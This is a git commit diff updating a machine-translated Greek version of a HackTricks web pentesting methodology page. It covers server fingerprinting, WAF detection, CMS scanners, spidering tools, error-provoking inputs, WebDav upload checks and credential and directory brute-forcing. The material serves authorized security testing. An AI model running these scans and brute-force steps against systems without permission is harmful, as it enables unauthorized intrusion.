Translated ['src/network-services-pentesting/pentesting-web/README.md',

This commit is contained in:
Translator 2025-09-08 03:16:56 +00:00
parent 5efd0b6cd1
commit 8bfcfe82ff
5 changed files with 495 additions and 250 deletions

View File

@ -447,6 +447,7 @@
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -1,12 +1,12 @@
# 80,443 - Pentesting Web Μεθοδολογία
# 80,443 - Μεθοδολογία Pentesting Web
{{#include ../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτενής υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**.
Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτεταμένη υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**.
**Default port:** 80 (HTTP), 443(HTTPS)
**Προεπιλεγμένες θύρες:** 80 (HTTP), 443 (HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Κατευθύνσεις για Web API
### Οδηγίες για Web API
{{#ref}}
@ -26,29 +26,29 @@ web-api-pentesting.md
## Περίληψη μεθοδολογίας
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι πρόκειται να επιτεθείς σε ένα domain (ή subdomain) και μόνο αυτό. Συνεπώς, πρέπει να εφαρμόσεις αυτή τη μεθοδολογία για κάθε εντοπισμένο domain, subdomain ή IP με αδιευκρίνιστο web server εντός του πεδίου.
> Σε αυτή τη μεθοδολογία υποθέτουμε ότι πρόκειται να επιτεθείτε σε ένα domain (or subdomain) και μόνο αυτό. Συνεπώς, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με αδιευκρίνιστο web server εντός του scope.
- [ ] Ξεκίνα με το **να αναγνωρίσεις** τις **τεχνολογίες** που χρησιμοποιεί ο web server. Ψάξε για **tricks** που αξίζει να θυμάσαι κατά την υπόλοιπη διάρκεια του τεστ αν μπορέσεις να αναγνωρίσεις την τεχνολογία.
- [ ] Ξεκινήστε με το **να εντοπίσετε** τις **τεχνολογίες** που χρησιμοποιεί ο web server. Ψάξτε για **κόλπα** που πρέπει να έχετε υπόψη κατά τη διάρκεια του υπόλοιπου τεστ εάν καταφέρετε να αναγνωρίσετε την τεχνολογία.
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** στην έκδοση της τεχνολογίας;
- [ ] Χρησιμοποιεί κάποιο **well known tech**; Κάποιο **useful trick** για να εξάγεις περισσότερες πληροφορίες;
- [ ] Κάποιος **specialised scanner** που πρέπει να τρέξεις (π.χ. wpscan);
- [ ] Εκτέλεσε **general purposes scanners**. Ποτέ δεν ξέρεις αν θα βρουν κάτι ή αν θα αποκαλύψουν ενδιαφέρουσες πληροφορίες.
- [ ] Ξεκίνα με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν είναι HTTPS).
- [ ] Ξεκίνα **spidering** της σελίδας: Είναι ώρα να **βρεις** όλα τα πιθανά **files, folders** και **parameters being used.** Επίσης, έλεγξε για **special findings**.
- [ ] _Σημείωση ότι κάθε φορά που ενός νέος κατάλογος εντοπίζεται κατά τη διάρκεια brute-forcing ή spidering, θα πρέπει να spidered._
- [ ] **Directory Brute-Forcing**: Προσπάθησε να brute force όλους τους εντοπισμένους φακέλους αναζητώντας νέα **files** και **directories**.
- [ ] _Σημείωση ότι κάθε φορά που ένας νέος κατάλογος εντοπίζεται κατά τη διάρκεια brute-forcing ή spidering, θα πρέπει να Brute-Forced._
- [ ] **Backups checking**: Δοκίμασε αν μπορείς να βρεις **backups** των **discovered files** προσθέτοντας κοινές επεκτάσεις backup.
- [ ] **Brute-Force parameters**: Προσπάθησε να **βρείς hidden parameters**.
- [ ] Μόλις έχεις **αναγνωρίσει** όλα τα πιθανά **endpoints** που δέχονται **user input**, έλεγξε για κάθε είδους **vulnerabilities** που σχετίζονται με αυτά.
- [ ] [Ακολούθησε αυτό το checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Χρησιμοποιείται κάποια **γνωστή τεχνολογία**; Κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
- [ ] Κάποιο **specialised scanner** για να τρέξετε (π.χ. wpscan);
- [ ] Εκτελέστε **general purposes scanners**. Δεν ξέρετε αν θα βρουν κάτι ή αν θα αποκαλύψουν κάποια ενδιαφέρουσα πληροφορία.
- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν HTTPS).
- [ ] Ξεκινήστε **spidering** της web σελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φάκελοι** και **παράμετροι που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικά ευρήματα**.
- [ ] _Σημειώστε ότι κάθε φορά που ένας νέος κατάλογος ανακαλύπτεται κατά τη διάρκεια brute-forcing ή spidering, πρέπει να γίνει spidering._
- [ ] **Directory Brute-Forcing**: Προσπαθήστε να brute force όλους τους ανακαλυφθέντες φακέλους ψάχνοντας για νέα **αρχεία** και **καταλόγους**.
- [ ] _Σημειώστε ότι κάθε φορά που ένας νέος κατάλογος ανακαλύπτεται κατά τη διάρκεια brute-forcing ή spidering, πρέπει να γίνει Brute-Forced._
- [ ] **Backups checking**: Δοκιμάστε αν μπορείτε να βρείτε **backups** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις backup.
- [ ] **Brute-Force parameters**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**.
- [ ] Μόλις έχετε **εντοπίσει** όλα τα πιθανά **endpoints** που δέχονται **user input**, ελέγξτε για κάθε είδους **vulnerabilities** σχετικές με αυτά.
- [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
## Έκδοση Server (Vulnerable?)
### Identify
### Αναγνώριση
Έλεγξε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\
Τα **HTTP headers and cookies of the response** μπορεί να είναι πολύ χρήσιμα για να **αναγνωρίσεις** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Το **Nmap scan** μπορεί να εντοπίσει την έκδοση του server, αλλά χρήσιμα μπορεί να είναι και τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) ή [**https://builtwith.com/**](https://builtwith.com)**:**
Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\
Τα **HTTP headers και cookies της απόκρισης** μπορεί να είναι πολύ χρήσιμα για να **εντοπίσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά επίσης μπορεί να φανούν χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com) **:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Έλεγχος για WAF**
### **Ελέγξτε αν υπάρχει WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web tech tricks
### Τεχνικά κόλπα Web
Μερικά κόλπα για την ανεύρεση ευπαθειών σε διάφορες γνωστές τεχνολογίες που χρησιμοποιούνται:
Μερικά **κόλπα** για το **εντοπισμό ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -100,29 +100,30 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικά **ports**, **folders** και **subdomains**._\
Αν η web εφαρμογή χρησιμοποιεί κάποια από τις γνωστές τεχνολογίες/πλατφόρμες που αναφέρονται παραπάνω ή κάποια άλλη, μην ξεχάσετε να αναζητήσετε στο Internet νέα κόλπα (και ενημερώστε με!).
_Λάβετε υπόψη ότι ο **ίδιος domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **υποτομείς**._\
Αν η **εφαρμογή web** χρησιμοποιεί κάποια από τις γνωστές **tech/platform listed before** ή **κάποια άλλη**, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!).
### Source Code Review
### Ανασκόπηση Κώδικα Πηγής
Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, πέρα από το να εκτελέσετε εσείς έναν White box test της εφαρμογής, υπάρχει κάποια **πληροφορία** που μπορεί να είναι **χρήσιμη** για το τρέχον **Black-Box testing**:
Εάν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, πέρα από το να πραγματοποιήσετε μόνοι σας ένα **White box test** της εφαρμογής, υπάρχει κάποια **πληροφορία** που θα μπορούσε να είναι **χρήσιμη** για το τρέχον **Black-Box testing**:
- Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web?
- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)?
- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used?
- Is it using any **master key** for encrypting something? Which **algorithm** is used?
- Can you **access any of these files** exploiting some vulnerability?
- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
- Υπάρχει κάποιο αρχείο **Change-log ή Readme ή Version** ή οτιδήποτε με **πληροφορίες έκδοσης** προσβάσιμες μέσω web;
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (usernames ή passwords);
- Είναι οι **passwords** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται;
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάτι; Ποιος **algorithm** χρησιμοποιείται;
- Μπορείτε να **αποκτήσετε πρόσβαση σε κάποιο από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια;
- Υπάρχουν **ενδιαφέρουσες πληροφορίες στο github** (solved and not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password** εισήχθη σε κάποιο παλιό commit)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Automatic scanners
### Αυτόματοι σαρωτές
#### Αυτόματοι σαρωτές γενικού σκοπού
#### Αυτόματοι σαρωτές γενικής χρήσης
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -134,12 +135,12 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS scanners
#### Σαρωτές CMS
Αν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν scanner**, ίσως βρεθεί κάτι ενδιαφέρον:
Εάν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρεθεί κάτι ενδιαφέρον:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστότοποι για ζητήματα ασφάλειας. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -149,45 +150,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (εφόσον υπάρχουν δεδομένα) και μερικά κόλπα να θυμάστε κατά τη διάρκεια του test. Αν έχετε τύχη ίσως έχετε βρει ακόμη ένα CMS και έχετε τρέξει κάποιο scanner.
> Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που να έχετε στο μυαλό σας κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, ίσως έχετε βρει ένα CMS και έχετε τρέξει κάποιο scanner.
## Βήμα-βήμα Ανακάλυψη Web Εφαρμογής
> Από εδώ και πέρα θα αρχίσουμε να αλληλεπιδρούμε με την web εφαρμογή.
> Από αυτό το σημείο θα αρχίσουμε να αλληλεπιδρούμε με την web εφαρμογή.
### Αρχικοί έλεγχοι
**Προεπιλεγμένες σελίδες με ενδιαφέρουσες πληροφορίες:**
**Προεπιλεγμένες σελίδες με χρήσιμες πληροφορίες:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες.
- Έλεγχος επίσης για σχόλια στις κύριες και δευτερεύουσες σελίδες.
**Πρόκληση σφαλμάτων**
Οι web servers μπορεί να **συμπεριφερθούν απρόβλεπτα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **vulnerabilities** ή να προκαλέσει την αποκάλυψη ευαίσθητων πληροφοριών.
Οι web servers μπορεί να **συμπεριφέρονται απρόβλεπτα** όταν αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή να οδηγήσει σε **αποκάλυψη ευαίσθητων πληροφοριών**.
- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.etc)
- **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL**
- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[["** σε **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Αν διαπιστώσετε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε επαρκή δικαιώματα για να ανεβάσετε αρχεία στον root φάκελο, δοκιμάστε να:
Αν διαπιστώσετε ότι το **WebDav** είναι **enabled** αλλά δεν έχετε επαρκή permissions για **uploading files** στον root φάκελο δοκιμάστε:
- **Brute Force** credentials
- Ανεβάστε αρχεία μέσω WebDav στους υπόλοιπους φακέλους που βρέθηκαν μέσα στη σελίδα. Μπορεί να έχετε δικαιώματα να ανεβάσετε αρχεία σε άλλους φακέλους.
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. Ίσως έχετε δικαιώματα να ανεβάσετε αρχεία σε άλλους φακέλους.
### **SSL/TLS ευπάθειες**
### **SSL/TLS vulnerabilites**
- Αν η εφαρμογή **δεν επιβάλει τη χρήση HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
- Αν η εφαρμογή **στέλνει ευαίσθητα δεδομένα (passwords) μέσω HTTP**. Τότε είναι υψηλή ευπάθεια.
- Αν η εφαρμογή **isn't forcing the user of HTTPS** σε κάποιο σημείο, τότε είναι **vulnerable to MitM**
- Αν η εφαρμογή **is sending sensitive data (passwords) using HTTP** τότε είναι υψηλή ευπάθεια.
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **vulnerabilities** (σε Bug Bounty programs πιθανότατα αυτού του είδους οι vulnerabilities δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για έλεγχο για **ευπάθειες** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για επανέλεγχο των ευπαθειών:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -203,53 +204,53 @@ Information about SSL/TLS vulnerabilities:
### Spidering
Ξεκινήστε κάποιο είδος **spider** μέσα στο web. Ο στόχος του spider είναι να **βρει όσες περισσότερες διαδρομές γίνεται** από την εφαρμογή που δοκιμάζεται. Συνεπώς, web crawling και εξωτερικές πηγές πρέπει να χρησιμοποιηθούν για να εντοπιστούν όσο το δυνατόν περισσότερες έγκυρες διαδρομές.
Εκκινήστε κάποιο είδος **spider** μέσα στον ιστό. Στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που δοκιμάζεται. Επομένως, πρέπει να χρησιμοποιηθεί web crawling και εξωτερικές πηγές για να βρεθούν όσο το δυνατόν περισσότερα έγκυρα paths.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS αρχεία και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS αρχεία και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για JS αρχεία και Archive.org ως εξωτερική πηγή.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, επίσης δείχνει "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Επίσης ψάχνει στο Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Αρκεί να υποδείξεις ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες JS rendering. Ωστόσο, φαίνεται να μην συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται.
- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς providers (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα απαριθμήσει.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητήσουν νέες διαδρομές σε JS αρχεία. Αξίζει επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για εξαγωγή endpoints τόσο από HTML source όσο και από embedded javascript αρχεία. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να πάρει relative URLs από JavaScript αρχεία. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρούμενο.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs χρησιμοποιώντας έξυπνα regular expressions για να βρει και να εξάγει relative URLs από μινιμαλιστικά (minify) αρχεία.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από JS αρχεία χρησιμοποιώντας διάφορα εργαλεία.
- [**subjs**](https://github.com/lc/subjs) (go): Βρίσκει JS αρχεία.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και εκτυπώνει όλα τα urls που φόρτωσε η σελίδα.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery εργαλείο που συνδυάζει επιλογές από προηγούμενα εργαλεία.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρείτε paths και params σε JS αρχεία.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Εργαλείο που, δεδομένου του .js.map URL, θα σας επιστρέψει τον beautified JS κώδικα.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Εργαλείο για ανακάλυψη endpoints για έναν δεδομένο στόχο.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από τη wayback machine (επίσης κατεβάζει τις απαντήσεις από τη wayback και ψάχνει για περισσότερα links).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και γεμίζοντας forms) και επίσης βρίσκει ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένα regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα προχωρημένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες της κυβερνοασφάλειας.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα Go package και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερόντων δεδομένων από JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι ένα απλό **Burp Suite extension** για **εξαγωγή των parameters και endpoints** από τα request ώστε να δημιουργηθούν custom wordlist για fuzzing και enumeration.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, δείχνει επίσης "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Ψάχνει επίσης στο Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να φανεί χρήσιμο. Μπορείτε απλά να δώσετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απόκριση.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες render JS. Φαίνεται όμως ότι δεν συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται.
- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με parameters και θα τα απαριθμήσει.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες render JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανό να ψάχνει νέα paths σε JS αρχεία. Αξίζει επίσης να ρίξετε μια ματιά σε [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Εξαγωγή endpoints τόσο από HTML source όσο και από ενσωματωμένα javascript αρχεία. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να αναλύει relative URLs από JavaScript αρχεία. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρούμενο.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνες regular expressions για να βρει και να εξάγει relative URLs από minified αρχεία.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συλλέγει ενδιαφέρουσες πληροφορίες από JS αρχεία χρησιμοποιώντας πολλά εργαλεία.
- [**subjs**](https://github.com/lc/subjs) (go): Εντοπίζει JS αρχεία.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και εκτυπώνει όλα τα urls που φορτώθηκαν για να φορτωθεί η σελίδα.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool που συνδυάζει επιλογές από τα προηγούμενα εργαλεία.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρει paths και params σε JS αρχεία.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Εργαλείο που, δεδομένου του .js.map URL, θα πάρει τον beautified JS κώδικα.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Εργαλείο για ανακάλυψη endpoints για έναν στόχο.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από το wayback machine (κατεβάζοντας επίσης τις απαντήσεις από το wayback και ψάχνοντας για περισσότερα links).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρίσκει ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένα regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα advanced multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες ασφάλειας.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Πακέτο Go και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερόντων δεδομένων από JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι μια απλή **Burp Suite extension** για **εξαγωγή των paramters και endpoints** από τα requests για δημιουργία custom wordlist για fuzzing και enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Εξαιρετικό εργαλείο για αυτό.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε link που μπορεί να βρει.
### Brute Force directories and files
Ξεκινήστε το **brute-forcing** από το root folder και βεβαιωθείτε ότι θα brute-force **όλες** τις **directories που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλες τις directories **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και να προσθέσετε στην αρχή του χρησιμοποιούμενου wordlist τα ονόματα των βρεθέντων directories).\
Tools:
Ξεκινήστε το **brute-forcing** από τον root φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **καταλόγους που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλους τους καταλόγους **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και να προσθέσετε στην αρχή της wordlist τα ονόματα των φακέλων που βρέθηκαν).\
